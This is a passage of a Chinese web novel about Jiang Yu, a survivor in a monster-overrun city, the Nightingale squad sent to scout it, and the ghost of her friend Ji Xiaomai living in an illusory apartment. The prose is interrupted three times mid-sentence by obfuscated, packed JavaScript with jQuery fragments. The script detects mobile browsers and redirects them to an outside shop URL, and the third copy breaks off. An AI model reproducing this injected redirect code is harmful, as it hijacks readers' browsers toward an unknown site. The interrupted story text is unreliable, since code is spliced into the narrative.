人活在世上，其实都是为了寻找只属于自己的一个小家。 哪怕家里已经只剩下一个人。 姜渔摇摇头，持刀来到尸体旁，破开衍生体腥臭的血肉，取出一枚军方称之为“衍生体最有价值部位”的晶核。 人活在世上，偶尔也要找点爱好。当云市变为战区，收集晶核成了姜渔不多的爱好。 这只攻击方式出人意料的衍生体的晶核，也与往常不一样。 姜渔凝视着手掌上的晶核，它似乎还在跃动，像一颗鲜活的心脏。 或许是一种更好的品质吧。姜渔想着，随手收起晶核，慢悠悠溜达回蛋糕店，终于到了挤奶油的环节。 一切，好像没有发生过。 当太阳偏向西方，姜渔已经做好了蛋糕。 她将蛋糕打包，再次启动暴发户气质十足的红色跑车，一路轰鸣向家赶去。 十数分钟后。 脚步声回荡在空荡的走廊内，姜渔停在熟悉的门牌前，一边说着“我回来了”，一边打开门。 房间里弥漫着饭菜的香气。 纪小麦穿着围裙，正撸起袖子在笨拙地炒菜，举着锅盖挡油的姿势倒是活力十足。 听到有人回来，纪小麦一手叉腰，一手举起锅盖嚷嚷：“OKOKOKK准备好接受麦小厨的超级稀有份晚餐了吗！” 姜渔一脸愕然，随即无语地笑了：“又做糊了是吧。” “嘎嘎，”纪小麦见被戳穿，吐了吐舌头，又大倒苦水，说自己的手都被烫红了，还举起来给姜渔看。 姜渔没有接茬，专心接过厨具，计划怎么挽救这一切。 纪小麦在旁边唠唠叨叨说个不停，公寓里瞬间有了种七嘴八舌的气氛。 没多久，饭菜做好了。 鱼肉，牛肉，蔬菜，水果，甚至还有没过期的冰可乐。 这么多稀奇的食物，衬得姜渔带回来的那个画风奇怪的奶油蛋糕都显得正常许多——蛋糕全部被涂成深蓝色，象征着大海，海的深处，一只猫脸生物漂浮在水中，鸳鸯色异瞳，九只尾巴颜色各异。姜渔画得很抽象，但在昏暗的灯光下，那只生物竟然栩栩如生。 纪小麦抽出了两根数字蜡烛，分别插在了猫脸的两只眼睛上。 “7,3……73岁……”姜渔喃喃着，她抬起头，才注意到纪小麦脸上已然布满褶皱，她举起自己的右手，竟然也枯槁如老树皮。姜渔疑惑地走到镜子前，才发现自己身形佝偻，头发花白，曾经英气的脸庞已经苍老不已。 哦，我真是老糊涂了，还以为自己是年轻小伙子呢。 此时，次卧内一道熟悉又陌生的声音响起，“小麦小麦，饭好了吗？”门从里面打开，姜渔揉着眼睛走了出来，嘟囔着抱怨：“昨天巡城部是夜班，困死了。” 说着，她似乎才注意到镜子前的人，有些厌恶地撇了撇嘴，“你来干嘛？还想让我撞断你鼻梁骨一次么？张勤队友。”最后四个子，姜渔说得咬牙切齿。 哦，张勤是我的名字。 “50年前的事了，说起来没完了没了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143703|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”50年前，他在面试巡城部时和姜渔起了冲突，当时他还被姜渔用额头撞断了鼻梁骨。虽然后来两人因为于队长成了好朋友，但还是一直不对付。 张勤恨不得直接转身就走，但毕竟姜渔是于队长的女儿，于队长又是张勤最敬重的老领导。 此时，于队长也回来了，他穿着战斗服，身形高大，很有压迫感，张勤不禁缩了缩脖子。 于队长手上还拿着一瓶白酒，招呼大家，“今天小麦和我的生日，咱们都不醉不归啊！”。 房间内，大家围坐在桌前。 纪小麦老态龙钟的脸上，绽放出天真的笑容：“要我说，你们巡城部做得最对的事情，就是当初招了姜小渔进来！才能拯救云市！” 姜渔有些骄傲地仰起头，意有所指地说：“那是，我当时可是大杀四方！” 他刚想说话，咚咚咚，一阵敲门声响起。 桌上，纪小麦、姜渔、于队长纷纷把目光投向他，他感到一股莫名的压迫感。 咚咚咚，咚咚咚，敲门声越来越大。 桌上的人依然一动不动盯着他。 他只好去开门。 门开了，是一个五十左右年纪的妇女。 她拎着两盒点心，一脸笑意：“今天是小麦姐姐的生日对吧！这是我妈妈给她的礼物，麻烦你交给她吧哥哥。我先去楼下找小伙伴玩啦” 妇女将礼物交给她后，就蹦蹦跳跳地下楼去了。 他无奈地将点心放在桌上，正听到桌对面的姜渔笑说： “这个猫猫好奇怪啊，纪小麦你怎么那么恶趣味！” 他转过头，看到姜渔指着蛋糕上的猫猫大笑。 嗯……那猫确实有些奇怪…… 可是，不知怎的，他忽然有些怒意。 因为那猫猫明明是纪小麦自创的“海猫”，是纪小麦信奉的古怪神明。 纪小麦就是相信有这么一个“海猫神”。 猫猫的样子，生活在海里，有两只颜色不一样的眼睛，九条颜色不一样的尾巴。 纪小麦觉得海猫神能实现她的一切愿望。 这是纪小麦超级“虔诚”的信仰，明明连我都知道！ 那么姜渔怎么会不知道？还指着大笑？ 姜渔不是纪小麦最好的朋友吗？ 我都知道的……我都知道的…… 可……我为什么会知道？ 我又是纪小麦的什么人？ 我又为什么在这里？ 我…… 我是谁？ 她忽然愣住了，呆呆地看着眼前的一切。 老去的纪小麦，中年的于队长，困意惺忪的姜渔。 诡异涌上心头。 “怎么啦？没给自己盛饭吗？”纪小麦好奇地向她问道，随即颤颤巍巍地起身，声音尖细地说道：“真拿你没办法！我帮你盛吧！” 纪小麦走向厨房，嘴里还洋洋得意地念叨着“至少我学会煮饭啦，虽然做菜还……” 她跟着纪小麦，忽然握住了她的手臂。 纪小麦呆呆地看着她抚过自己的小臂。 她轻声说：“原来你这么老了，手臂上的皮都松松垮垮的。” 纪小麦无奈：“当然啦。我年轻时候多滑溜溜呢！一点老年斑都没有！” 纪小麦刚说完，就看到自己的心脏处，露出了半截带血的刀刃。 她贴在纪小麦身后，声音有些哑：“可能，你认为纪小麦真的过得很幸福吧。” 纪小麦缓缓回头：“你在说什么啊？我就是小麦啊……” “但纪小麦并不是你以为那样一生顺遂的。她小时候过得很惨的。”姜渔抬起纪小麦的小臂，像在喃喃自语：“她总是被家暴，因为想保护妈妈，不愿意逃走，可打也打不过，搞得胳膊上全部都是疤痕。那些疤痕，小的时候没有痊愈，老了也不会的。” “纪小麦”怔怔的，说不出一句话，口中吐出鲜血。 鲜血流经衣服，落在地上，溶解了姜渔，于队长，溶解了地板，墙壁，公寓，天空， 世界变成血色的世界。血色又从四周褪去，现出世界本来的面貌。 姜渔站在衍生体的尸体旁，她的手又恢复了年轻的紧致，而她手中仍拿着刚刚取出的晶核。 曾经有一个科学家分析，思觉塌陷会夺走一个人的灵魂，抓住他最深层次的渴望，然后重塑、扭曲，这是幻境沼泽难以脱身的根本原因。后来那个科学家陷入疯狂，将自己溶于化学试剂中…… 而在姜渔的幻境沼泽里，她成了事发当天去报道的张勤。 是因为觉得自己当初顺利加入进巡城部，就能挽救一切吗？ 我还挺看得起自己。 姜渔自嘲一笑。 但幻境沼泽让姜渔意识到一件事，那就是她有多恨她是她自己。 她握紧了拳头，晶核彻底凉了下去。 接下来，姜渔则依然如幻境中一样。 她走回蛋糕店，做好蛋糕，带着发动机不可一世的轰鸣声回到公寓楼下。她拎着蛋糕上楼，开门，将蛋糕放到餐桌上，敲响纪小麦的门。 没有人回答。如往常一样。 姜渔呆呆站了很久，擦去眼泪，转身坐回餐桌，为蛋糕点燃蜡烛。 “纪小麦，忌日快乐。” “我们买的公寓，已经装修完很久了。你总是说要散散味再住进来。” “我每天都开窗通风，很冷，我想，你应该最好早点回家。” 姜渔吹去蜡烛。 房间归于漆黑。 姜渔拉开餐边柜，里面塞了满满一柜子五颜六色的晶核，她把最新一颗放进去，关上了门。 而此时，纪小麦的卧室门后，忽然传来了什么东西掉在地上的声音。 格外清晰。 咔哒—— 4. 神秘猎杀者 咔哒。 云市的京云线高速路口上，同样响起一声异响——这声音来自一个女人的脚底。 丁素刚刚从3.5米高的掠夺者6600型军用越野车上翻下来，她踩断了一具野兽尸骸的肋骨。 在她身后，四名队员扶额无奈。 五人身穿银灰拼黑的防辐射作战服，背后写有“Y-11”字样。 如果衍生体有智慧，那么大部分衍生体看到这个标志时，就该第一时间选择落荒而逃。 荒纪103年，末日联邦在各国尖端特种兵部队中秘密选拔人选，组建了“夜莺机动队”，并配给最先进的武器装备。夜莺小队组建后，开始逐步肃清以旧城区为核心的四个主战区内的衍生体，守住了人类最后一丝希望。 这支小队历经上百年的历史，对队伍人数的扩招仍维持在十分克制的程度，能加入夜莺机动队，便是精锐中的精锐。 云市作为东部A-5战区的关隘处，正是“夜莺”的下一个目标。 由于卫星数据库被毁，无法修复，先遣调查小队Y-11必须潜入云市，为后续部队进攻做地形勘察工作。 车旁，丁素旁若无人地检查了一下自动步枪的子弹：使用了特殊涂料的子弹填满弹夹，安全感十足。 她满意地合上弹夹，按下头盔护目镜右侧的按钮。 夜色中的一切事物，顿时清晰地出现在护目镜内侧的镀膜上。 “下车。”丁素挥手说：“宋涯、贺少云你们负责勘测地形，唐千苇、顾礼跟我深入城区摸清衍生体的老巢在哪。” 身后四人齐齐应是，面色变得严肃不少。 “早完成，早回城。大家注意安全。” 宋涯和贺少云拿出地形勘测仪器，分别向不同方向抛去，圆碟状仪器闪烁幽光，如蝙蝠般迅速隐入夜色中。 以丁素为首，唐千苇与顾礼一左一右，沿着寂静的街道向城市深处摸索。 每隔一会儿，三人就会低头查看手中的黑色仪器，这种仪器针对衍生体的磁场特别研制，可以检测数百米内的衍生体存活状况。 同时，宋涯和贺少云也不时报数。除此之外，只剩一片沉默。 丁素享受这种沉默。在此时，沉默代表一种安全。 不过下一秒，黑色仪器就发出了细微的嗡鸣声。丁素神色一凛，她左侧的唐千苇已经蹭得一下跳了起来，激动说：“衍生体！” 唐千苇的兴奋让两位队友有些无语。她是队伍里的老幺，第一次进入战区就破了他们小队的单人击杀记录，丁素总说她是一天天使不完的牛劲。 “队长，我来吧，都好久没碰到衍生体了。”唐千苇眨巴着她的大眼睛，虽然是在争取与衍生体的战斗，她说得却好像在跟姐姐要糖吃。 一旁的顾礼先开口了：“暴力狂……” 唐千苇看都不看他一眼，回了句：“闭嘴，怕事佬。” 眼看着两人马上就要吵起来，丁素厉声制止了他们：“保持警戒！” 作为小队的组长兼“眼睛”，她有责任保护队友的安全，虽然他们都是“老兵”了，但对衍生体，永远不可掉以轻心。 此时，三人的眼镜中慢慢浮现出一只中型衍生体，它正靠在远处一幢废弃的别墅外，表面的甲壳像是被烧焦的黑炭，八只眼睛发出幽幽的绿光。 丁素小声做着记录：“发现10期衍生体一只，目测高度2米，外壳呈焦黑色……” 紧接着，她示意队友向两侧分散，自己则悄悄绕到了衍生体背后，当距离不过十米时，丁素举起麻醉枪，毫不犹豫地射向衍生体脖颈处的一个小孔，她枪法很准，衍生体的眼睛刚要锁定异响的方向时，眼球便暗淡了下去。 见衍生体中枪，唐千苇立即甩出一根钢绳，钢绳一端的钛金八爪顺势紧紧勾住衍生体头颅的一瓣甲壳。唐千苇见自己得手，便用力往下一拉，衍生体的口器瞬间暴露！她抻紧钢绳，绷紧小腿肌肉，身子犹如炮弹般一跃而起，落在道路两侧的围墙上，端枪，瞄准，发射，一枪致命！ 唐千苇并没有抗拒巨大的后坐力，而是随着后坐力重新落回地面，扭头向顾礼点头示意。 三人配合默契，这一切发生得太快，快到衍生体都没反应过来。 顾礼戴着黑色手套的手劈开衍生体的腹部，从中取出了一颗绿色的小晶核，扫描完毕向丁素报告： “思觉塌陷风险检测完成，进入幻境沼泽可能性为0。” “从发现到击杀，2分36秒，就10期的简单任务来讲，做得不错。”丁素简单总结，示意二人继续前进。 “小小开胃菜而已！”唐千苇对自己的战力有着十足信心。 耳机里的贺少云听见了，小声撒娇：“丁队长，不夸夸我和老宋？我俩才是你们背后默默付出的人嘤嘤嘤……” 丁素：“……” 宋涯：“别带上我。” 轻松解决掉这道“开胃菜”后，队内的氛围有了些放松。 几个人有一搭没一搭聊着，丁素也懒得阻止。 只是，再往前行进了大概半个小时，黑色的探测仪仍然保持着缄默…… 顾礼先忍不住开口了：“是不是不对劲？” “这里的衍生体浓度也太低了。”唐千苇打着哈欠应和。 “嗯，太安静了。不像衍生体侵入后一年的城市。”宋涯隔空回应。 “《守则》上说，从离开旧城时就算深入衍生体战区了。”顾礼年纪不大，学究气很重。 唐千苇眉毛一挑：“只知道看《守则》可不能执行这种任务，看来它应该更新了。” “确实。”顾礼冷笑：“《守则》上最应该更新的，就是禁止你这种疯子执行任务。” 城市另一端的贺少云终于找到机会切入：“《守则》不用更新。因为守则的全名叫《旧日守则》，旧的东西怎么可能更新呢！哈哈！” 频道内迎来短暂的沉默。 还是唐千苇问：“刚刚是在讲笑话吗？” 贺少云讪讪的：“不好笑吗？” 宋涯认真回复：“好好攒钱吧。你幽默的基因还有待加强。” 顾礼瞥了一眼唐千苇：“我倒是知道黑市有家诊所不错，可以顺便改善一下那个疯子的心理问题。” 唐千苇认真反驳：“想杀衍生体不是疯，是正义。” 丁素领先在队伍最前方，觉得自己的脑子已经快炸了。 小队成立数年，她还是没有办法接受四个队员爱说闲话的毛病。 如果没遇到情况还好。一旦发现情况，这四个人就会从研究情况开始，发生一种奇妙的化学反应。 那就是沟通频率越来越高，沟通效率越来越低。 简而言之，吵个没完。 丁素恨不得面前立即蹦出一只30期的衍生体，好让这几个人闭嘴。 正当丁素被吵得头昏脑涨时，吸引了她的注意。 丁素激动地抬起手，示意后方两人站停，以及——闭嘴。 她打开腕间的强光手电，刺眼的白光瞬间照亮前方数十米的街道。 一只卡车般大小的衍生体尸体，赫然暴露在三人的视线范围内。 “发现目标！”丁素说完，自己率先接近衍生体的尸体。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143704|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁素绕行一周，沉默片刻，才在频道内说：“目标已确认死亡。” 此时，宋涯与贺少云已经将勘测仪释放完毕归队。 四名队员凑过来，顿时被眼前的景象惊到。 他们互相对视一眼，明白丁素刚刚在沉默什么了：酸液腐蚀的街道，洞穿的车辆，以及被解剖的衍生体尸体。 任谁看到这样一副景象，都要好好思考这里究竟发生了什么。 丁素冷静下来，开始口述记录：“云市东柳街道在20小时内发生战斗，对战双方，一只30期衍生体，已死亡，晶核丢失。另一方生物未知，强度未知。怀疑与云市衍生体消失异象有关。” 她忍不住揉了揉有些肿胀的太阳穴：在勘察云市前，夜莺机动队的指挥官韩时跃曾提到，经“纸鸢”无人机返回的报告显示，云市的衍生体在近一年内锐减。结合人类对衍生体有限的认知，只有两种可能：一、衍生体在屠杀云市后集体撤离；二、衍生体正在互相攻击。 为避免磁场干扰，纸鸢无人机仅能通过代码记录大致的生命活动迹象，无法传回任何影像资料。因此具体情况，根本无法下定论。 而今，宋涯一边擦手，一边下了一个在众人眼中都不可能的结论。 “这里还有人类。”宋涯神色复杂地说道。 他刚刚研究了怪物被剖开的衍生体腹部，那是刀的痕迹，整齐而利落。 丁素闻言，只觉万分惊愕：当初衍生体侵袭，军部已经把居民全部转移，更何况像这种30期的衍生体她也曾在其它战区中碰到过，相当棘手…… 难道，云市内也有一个猎杀衍生体的队伍？并且不在联邦的编制内？ 对方是敌是友？力量如何？ 一时间，众人心中疑虑重重。 只有老幺唐千苇眼神中闪着兴奋的光——她已经迫不及待想见见这些神秘的猎杀者了！ ===== 云市的一间公寓楼内，姜渔缓缓起身。 那声异响，她听得很清楚。可是自从纪小麦死后，她的卧室就被尘封起来，一次也没再打开过。 谁在屋里？ 这一年多，云市除了衍生体，姜渔就没见过第二个活的生物。 姜渔就近拿起桌上的餐刀，弯腰伏背，赤脚向卧室门逐渐靠近。 她轻轻按住纪小麦卧室的门把手。 就在此时，窗外开始响起低沉的风啸声，偶尔有砂石被吹到窗户上。 外面适时起了大风—— 声音被掩盖，正是动手的时候！ 姜渔瞬间按下门把手推开门，同时正手持刀，挡在面前，箭步前冲！ 一瞬间，姜渔的视线扫遍了小小卧室的所有方位，一如往常。 干净的床铺，订制的“海猫”玩偶靠在床头，窗帘拉开着，窗户外只有无尽的黑夜。 应该是风声吧……姜渔感觉一股莫名的失望涌了上来。 再次看见纪小麦的房间，仿佛自己心脏处的血液都被抽干了。 她刚想关门，却在下一秒全身僵住。 一只手搭上了姜渔的右肩。 半夜，客厅内，还有第二个人！ 姜渔全身的汗毛都竖了起来，第一时间转身挥刀！ 可当餐刀斩过身后“人”的脖颈时，就像斩过空气，没有任何实感。 眼前，纪小麦梳着利落的棕色短发，身穿纯白色长袖，黑色短裤，简洁清爽。一切都与她去世时的穿着一模一样。 她倚着房门，眼神幽怨又无奈： “姜小渔，这一年你杀了我好多次啊……” 5. 1301室 “这一年，你杀了我好多次啊……” 这句话很直白，就像在告诉姜渔这里就是幻境沼泽一样…… 她不禁对眼前的幻体刮目相看。以她对幻境沼泽的了解，一不会让她这么“清醒”，二幻体不会这么“生动”。 眼前人的语气、神态几乎都跟纪小麦一模一样。 姜渔抬起手，用刀背碰了下纪小麦的手臂。 “嘶……疼！”对方发出痛叫。 姜渔吓了一跳，赶紧把手缩了回来，“不好意思。”但很快发现不对，“纪小麦”分明就是装的，自己根本伤不了她分毫。 太像了，跟纪小麦跟自己相处的时候一模一样。 这是更深层的沼泽吗？姜渔记起刚刚那个老年纪小麦的幻体，不禁起了一身鸡皮疙瘩。 太冒犯了，衍生体是想走替身攻略路线吗？就这么喊着什么友情啊羁绊啊之类的向我冲过来了。 “别玩了，我不吃你这套。”姜渔有些不爽，再次全力刺向纪小麦的“幻体”。只要我清醒，再击杀幻体，就能破除沼泽。 “哈哈哈哈哈哈哈哈哈哈哈哈哈哈……这就是衍生体视角的姜渔吗！”纪小麦笑得前仰后合，还不时拍自己并不是实体的大腿。 姜渔无语了，她看着笑得癫狂的纪小麦，防备地问：“你不是幻体，你到底是谁？” “当然了。”纪小麦轻佻地摸了把姜渔的脸，被她躲开了。 “我是纪小麦啊！才一年就认不出了？”她很不满。 “纪小麦死了。”姜渔下意识地否认：“我亲眼看见她的……” “我的什么，尸体吗？”纪小麦认真回答，“我记得的，那天我让小女孩躲在快递柜里，想引开那个衍生体，但它太快了，我绊了一跤……很痛，然后就挂了。” “姜小渔，我早就想说了，你每天晚上做噩梦说什么你对不起我，你说说，你到底做了什么对不起我的事儿？是不是把我浏览器的记录发朋友圈了！” 姜渔已经麻木了，她感觉自己在被这个冒牌纪小麦试探底线。 可对面好像没觉察到她的情绪一样，仍然自顾自说着，“听说你还把你的撤离机会让给那个女孩啦？很厉害嘛！姜小渔，我说你是英雄吧……” “我不是。”姜渔突然开口，打断了对方的话。她从来不想做什么英雄，她只是不想让小麦一个人在这里。 一只手拂上姜渔的脸颊，但没接住她滚落的眼泪。 自己竟然哭了，对着一个身份不明的幻体，姜渔莫名地有些心跳加快。她似乎就要接近真相了。 纪小麦笑了笑：“你做得很棒。你没有懦弱，没有胆怯，你不要再恨自己是耽误回家时间才害我死去的了。你那副样子，让我很心疼。” 姜渔彻底怔住。 与纪小麦相依为命七年，纪小麦向来幸福、乐观、大大咧咧，像长不大的孩子。但实际上，纪小麦也总在扮演着照顾姜渔的角色，安抚着她的心情。 而幻境沼泽虽然可以触及人最深处的愿望，令死者复生，城市重建，去往太空与海底，见到神明与鬼怪，但往往很难实现连当事人自己都不敢想的事情。 就像这一年来，姜渔见过各种各样的纪小麦，都是劫后余生的纪小麦。她懦弱地妄想着人类胜利，云市幸存，她与纪小麦都活得很好。归根结底，是因为她知道，如果纪小麦在天有灵，总会用她那种纯粹的善良，原谅自己，心疼自己。 姜渔觉得自己不配。 “放松，姜小渔。”纪小麦似乎看透了姜渔的想法，她叹口气，目光中带着一丝怜悯：“哭吧，姜小渔，哭出来就好受了。”她上前一步，抱住了姜渔。她的身体依然是虚幻的，可却像有着某种温度，让姜渔安静了下来。 这个拥抱让姜渔回到了大学时期，那时候她和小麦还在上大学，班上评选贫困生，姜渔只得到了一票，还是她自己投的。 所有人都不信姜渔穷。 姜渔也没说什么，暗自想自己再多打几份工。 但班长纪小麦不知道怎么的知道了姜渔的真实情况，死活拉着她去找导员争取。 最终结果肯定是没有争取上，但这是第一次有人对姜渔这么好。 她盯着纪小麦，对这种从未有过的情绪感到复杂和排斥。 后来，纪小麦每天追着姜渔给她投喂吃的，帮她刷热水卡。 直到姜渔去地下拳击打了一次比赛，赚了两万块奖金。 拿到钱的那一刻，她才晕过去。 负责人打给了纪小麦，那是姜渔手机里存的唯一一个号码。 在医院里，纪小麦抱住了姜渔，语气里都是心疼，“哭吧，哭出来就好受了。 那时姜渔当然没哭，但纪小麦却哭得很惨。姜渔在心里想：我有朋友了。 可现在，这句话就像是一句咒语，让姜渔积压了一年的情绪全都倾泻而出。 她确信，眼前的人就是纪小麦。 “我以为你抛下我了……”姜渔看着失而复得的好友、唯一的亲人，有些语无伦次。“对不起……我那天没有赶回来……我原谅不了我自己……”这些在心里咀嚼了一年的话几乎脱口而出，像在告解罪孽。 纪小麦只在边上听着，一遍遍重复，“这不是你的错。” …… 心情慢慢恢复平静，姜渔才慢慢地拼凑出了纪小麦这一年来的经历。 姜渔忍住鼻酸，有些诧异地问：“这么久来，你都能看到我？那你在哪里？” “一开始我只是想陪在你身边，我每天用力想用力想，终于回到了我们的家，可惜你看不见我……后来我发现，你给家里买了很多很多家具，但我眼里的家却永远停在一年前的样子……那时我才意识到，我们并不在同一个维度。” “不在一个维度？” “是，我用了很久才明白，我一直被困在幻境沼泽里。” 随着纪小麦的话音落下，姜渔眼中熟悉的房间瞬间褪去了颜色。 以二人脚下的地板为中心，一阵白色强光像波纹般蔓延至整个公寓。 姜渔下意识抬手挡住光线。当放下手时，房间内一切都变了。 公寓只铺了地板，刷了白墙，客厅摆着两个小马扎，可以说是一贫如洗。 “姜小渔，欢迎来到我的幻境沼泽。我不会伤害你。你有随时离开这里的权利。” 巨大的信息量让姜渔反应有些迟钝，但她似乎真的感受到了两种温度：一种来自现实，一种来自这里，两者存在细微的温差，同时在身上流转。 她有一种强烈的直觉：只要自己动一动念头，就可以离开这里，回到现实。 “幻境沼泽不是大脑虚构的吗，我怎么能进入别人的大脑呢？”姜渔依然不解。 纪小麦陷入回忆中：“一开始我也认为我们可能不会再见了，直到那一天，你带回家了一枚晶核。那枚晶核，同时出现在了我的身边！”她夸张地比划着，“我发现我可以拿起晶核！直觉告诉我，晶核是让我们可以见面的关键！” 姜渔回忆起她第一次带回晶核的那天，也是一种直觉，驱使着她这么做。 “一切都是那个意志的选择。”纪小麦神秘又笃定地说：“它选择了我，也选择了你。其余的，我也都不能理解。就像这里的一切，也只是依靠我的认知形成的。” 姜渔忍不住插嘴：“很阴谋的样子。” “确实。”纪小麦自然地蹲坐在马扎上，认真说：“但这可是个百分百的好消息！你以后可以随时进入这里找到我，也可以和我重新装修我们的小家！比如你拿到了晶核，我就可以用这些晶核搞一些家具家电来之类的。” 自己死去一年的好友，竟然一直都在自己身边，还等着和自己重温装修旧梦…… 姜渔突然觉得一切都很荒谬。 但看到小麦坐在沾着油漆的小马扎上生龙活虎的样子，姜渔又忍不住笑了，终于放轻了语气：“也就是说，我以后想你了，就能见到你？” “嗯！”纪小麦重重点头，她大张双臂，搂住姜渔的大腿。 然而，就在姜渔满腔感动地看着纪小麦的幻影时，纪小麦的头埋在她腰间，突然小声又迅速地嘟囔了句：“不过这个幻境的首付是8710晶素下个月要还1500晶素的贷款哈宝贝。” 姜渔听得如梦似幻的。 “什么？”姜渔揉了揉耳朵，“什么首付？什么贷款？晶素又是什么？为什么听上去特别的资本主义？” 纪小麦开始挠起头发，笑呵呵傻乐。 这是她心虚的表现。 姜渔心下顿感不妙：“纪小麦，你给我说清楚……” “知道，知道，当然啦。”纪小麦忙不迭地，不知从哪掏出一个名曰《1301室账本》的白底蓝花手账本翻开。 姜渔凑上去看，只看到上面密密麻麻的数字，彼此之间似乎互有联系。 纪小麦则指着每个数字解释道：“你看。截止今天为止，你杀掉了307只衍生体，获得了284枚晶核，其中10期184枚，20期99枚，30期1枚。” “晶素属于这里的货币单位，需要使用晶核兑换。比如一枚10期的晶核等于20晶素，20期等于50晶素，30期的则是100晶素……所以，姜渔你总计赚取了8730晶素。”” 纪小麦说罢翻页，露出顶着“开销”二字的一页。 上面记录：“2663年，5月6日，支付首付——8710晶素。” 并贴心附记：“余额：20晶素。” 姜渔看明白了。一年的成果，水灵灵地没了。 但能换回纪小麦，一切都是值得的。 只是，还贷……？ 姜渔从扶额中回神，皱眉研究道：“你说这里是依据你的认知形成的。那这些首付与贷款，也是你的认知？” “是是是。” 姜渔缓缓点头：“或许这是一种维持幻境的交易方式。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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手账本上，幽光浮动，列出了几项标有价格的商品。 如9000晶素的冰箱，12000晶素的电视，1000晶素的餐桌等家具家电。 但并未标注任何如品牌，功能，材质等相关参数。 纯黑店啊。姜渔不由慨叹。 而本子上目前唯一可以购买的，只有一个名为“盲盒-乔迁礼物”的商品。 纪小麦突然拉住姜渔的手：“宝，我好像有种强烈的预感，我们应该买这个盲盒。” 姜渔却皱了皱眉：“乔迁礼物一般都是精心准备的，用盲盒做礼物这件事就已经显得不够厚道了……” “那赌不赌？”纪小麦听了也有些犹豫。 姜渔略一思索。 首先，20晶素相对于1500晶素的房贷来说，几乎是杯水车薪； 其次这里是纪小麦的幻境空间，一切都是根据她的意志产生，她的直觉或许也有着某种特殊含义； 姜渔用手掂着那两颗晶核，心一横：“赌！” 可怎么赌？ 姜渔有些无措。 “好！”纪小麦却对这里的规矩有所了解，她将手账本翻到后方，是一页页的“采购单”，纪小麦在上面写下金额与商品名称后，走到门前，将门打开，放在门外的地垫上。 姜渔瞄了一眼，微微皱眉。 门外是一条路，像走廊。走廊宽约两米，一侧是门，另一侧则一片漆黑，看不见任何东西。 这像是一间漂浮在宇宙中的房间。 姜渔注意到，门上的门牌号竟然也写着“1301室”。 “是啦，以后这个1301室就是咱们的根据地！” 纪小麦关上门，走回来时，客厅的中央空地忽然凭空出现了一个一立方米大的箱子！ 姜渔吓了一跳。 纪小麦则两眼发光：“这么大！拆它！” 姜渔听了，立即上手。 二人七手八脚拆开了箱子，里面却露出一个中等大小的箱子。 姜渔升起一股不祥的预感。 果不其然，两人拆了四五层，才终于露出一个18升的小微波炉。 姜渔心里一沉。 小微波炉跟小破烂一样，坑坑洼洼，还沾着些不知什么调料的痕迹。 微波炉上，则摆着一张《说明书》。 姜渔拿起《说明书》，念了出来： 产品：微波炉。 品牌：杂牌。 功能：作为一家纸箱厂，我们诚恳建议您，如果您为人不够厚道又想不丢面子地送给朋友乔迁礼物的话，这是一款极佳的礼物。毕竟它包装精美，还是实用电器，虽然是采购的杂牌货，但我们编了些神奇功能在上面，您的朋友一定会牢记您的用心与慷慨。（PS：这段文案不是写在说明书上的，蠢货。）（PPS：P你*的S！**！老娘离职了！） 神奇功能：将晶核放入微波炉内，点击启动键有惊喜。彩蛋：有概率合成超稀有晶核。 6. 意外的乔迁礼 “这份说明书的表达能力真是堪忧……”纪小麦神色复杂，“说是有惊喜，结果下一句就直接把彩蛋写出来了。生怕被人扔掉一样。” “未必。”姜渔却饶有兴趣地打量着微波炉，“这里的一切自有它运转的规则。如你所说，你的意识影响了很多事物，像这个说明书就很有你的风格。” “可这代表什么？” “代表我们必须试一试才知道，所谓的神奇功能到底是不是编的。” 说罢，姜渔将微波炉搬进空荡荡的厨房，才发现它并没有插电的线。 那它怎么运作的呢？ 姜渔把微波炉门打开，往里看了看，立刻懂了。 “怎么了怎么了？”纪小麦也挤过来瞧，眼前的东西差点让她吐出来。 和现代化的外观不同，微波炉的内胆更像是一个脏器。它不是由金属或者塑料制成的，而是通红的柔软血肉。 血肉表面，还淌着绿色粘液，粘液之下，隐约能见到一根根血管。 似乎因为被忽然“打开”的缘故，那些血管迅速蠕动逃窜，转眼恢复平静。 姜渔眨眨眼，甚至怀疑自己看错了。 “这是胃？衍生体的胃？”姜渔不禁冒出自己曾将衍生皮解剖取核的经历，若有所思地开口。 “好像是，好阴间……”纪小麦更沮丧了，她完全被自己的意识打败了。 姜渔觉得有趣：“吃进胃里，可不就加热了。” 不错，新能源微波炉，建议推广。 “yue……”纪小麦这次真的要吐了，她索性背过身去，环顾四周，“但我们手上已经没有晶核了，怎么去试？” 姜渔关上微波炉，倚着柜台，一边观察房间一边说，“云市或许还有残留的衍生体，想尝试并不难。” 难的是每月的房贷…… 二人面对客厅五个空荡荡的箱子再次陷入沉思。 纪小麦又一次掏出了她的手账本，关于余额的记录，已经变成了大大的0。 “咦。”纪小麦发出疑问的声音，“这里好像多了一行字。” 姜渔闻言凑过去，手账本的余额下面，多了一个手绘风格的进度条。 进度条的中间写着：“装修进度-1%。装修进度过慢，房间将被收回。” 